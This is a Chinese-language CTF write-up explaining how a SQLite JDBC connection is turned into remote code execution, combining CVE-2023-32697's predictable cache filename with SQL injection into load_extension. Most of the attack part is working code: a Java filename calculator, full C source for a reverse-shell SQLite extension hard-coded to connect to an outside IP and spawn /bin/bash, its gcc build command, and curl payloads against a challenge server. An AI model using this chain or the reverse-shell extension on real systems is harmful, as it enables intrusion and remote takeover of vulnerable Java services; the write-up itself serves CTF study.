从一道题看利用sqlite打jdbc达到RCE

前言

从今年国赛的一道java题遇到了sqlite数据库去打jdbc达到RCE的姿势,故笔者写篇文章记下

复现

反编译源代码可以看见这三个数据库

这里提供了mysql sqlite psql 但mysql和psql都不行 这里我们用sqlite去打

jdbc就可以执行load_extension()

CVE-2023-32697,这个洞其实就是sqlite数据库⽂件的缓存⽂件在tmp⽬录下⽂件名是已知的,直接

通过以下脚本跑

复制代码
package org.example;
import java.net.MalformedURLException;
import java.net.URL;

public class filename {
    public static void main(String[] args) throws MalformedURLException {
       String so = "http://vpsip:port/poc.so";
       String url = so;
       String filename = "/tmp/sqlite-jdbc-tmp-"+new
                URL(url).hashCode()+".db";System.out.printf(filename);}
}

接着sqlite.getTableContent这⾥能够SQL注⼊,直接联合注⼊执⾏load_extension

"tableName":"user union select 1,load_extension('/emp/sqlite-jdbc-tmp--39093542.db');-- "

就能加载恶意的so文件

复制代码
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sqlite3ext.h>
#include <sys/stat.h>

SQLITE_EXTENSION_INIT1

/* Configuration for the TCP connection */
int tcp_port = 5555;
char *ip = "129.204.197.19";

#ifdef _WIN32
__declspec(dllexport)
#endif

/**
 * Initializes the SQLite extension.
 *
 * @param db SQLite database pointer
 * @param pzErrMsg Error message pointer
 * @param pApi SQLite API routines pointer
 * @return SQLITE_OK on success
 */
int sqlite3_extension_init(
    sqlite3 *db,
    char **pzErrMsg,
    const sqlite3_api_routines *pApi
) {
    int rc = SQLITE_OK;
    SQLITE_EXTENSION_INIT2(pApi);

    /* Establish a TCP connection and spawn a shell if running in a child process */
    int fd;
    if ((fork()) <= 0) {
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(tcp_port);
        addr.sin_addr.s_addr = inet_addr(ip);

        fd = socket(AF_INET, SOCK_STREAM, 0);
        if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
            exit(0); // Exit if connection fails
        }

        // Redirect standard file descriptors to the socket
        dup2(fd, 0);
        dup2(fd, 1);
        dup2(fd, 2);

        // Execute bash shell
        execve("/bin/bash", NULL, NULL);
    }

    return rc;
}

这个是反弹shell的sqlite恶意拓展

gcc -g -fPIC -shared poc.c -o poc.so

编译好之后之间放在远程服务上让其建⽴缓存

复制代码
curl --header "Content-Type: application/json" --request POST --data "{\"type\": 3,\"url\": \"jdbc:sqlite::resource:http://vpsip:port/poc.so\",\"tableName\": \"security\"}" http://pwn.challenge.ctf.show:28130/jdbc/connect

这个时候 /tmp/sqlite-jdbc-tmp-840682179.db⽂件就写⼊进去了,接着创建⼀个正常的带user表

的sqlite数据库⽂件放到服务器上让其进⾏连接

接着传⼊table参数进⾏sql注⼊

复制代码
curl --header "Content-Type: application/json" --request POST --data "{\"type\": 3,\"url\": \"jdbc:sqlite::resource:http://vpsip:port/111.db\",\"tableName\": \"user union select 1,load_extension('/tmp/sqlite-jdbc-tmp
--39093542.db')\"}" http://pwn.challenge.ctf.show:28130/jdbc/connect

至此攻击完成

相关推荐
白帽攻防录5 小时前
SRC 挖洞:PostScript 打印机驱动双 RCE,打印服务器怎么变成内网跳板
开发语言·网络安全·php·内网安全
土豆.exe6 小时前
nf_tables 的 verdict 被读了两次:一个十年未闭合的位域错配
java·数据库·网络安全·缓存
学逆向的7 小时前
C 循环结构的执行效率分析
c语言·开发语言·数据结构·网络安全
菩提小狗12 小时前
每日安全情报报告 · 2026-10-16
网络安全·漏洞·cve·安全情报·每日安全
是真的小外套14 小时前
第15章:网络安全主动防御技术原理及应用
安全·web安全
臻选云栗子14 小时前
PCDN晚高峰掉量原因分析及优化建议
服务器·网络·安全·网络安全·阿里云·云计算·信息与通信
SDWAN_Cheap14 小时前
AI Agent的“自主攻击”时代已经来了?
人工智能·网络安全
文章永久免费只为良心15 小时前
Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行
前端·python·安全·网络安全·渗透测试·ctf·红队渗透测试
技术卷16 小时前
DeepSeek 部分 API 中断事件:重要细节与事实
人工智能·后端·网络安全
Chengbei1117 小时前
JsOwl|AI 赋能 JS 敏感信息扫描器,AST + 正则、source‑map 源码还原、登录态爬虫输出交互式 HTML 报告
开发语言·javascript·网络·人工智能·爬虫·网络安全·自动化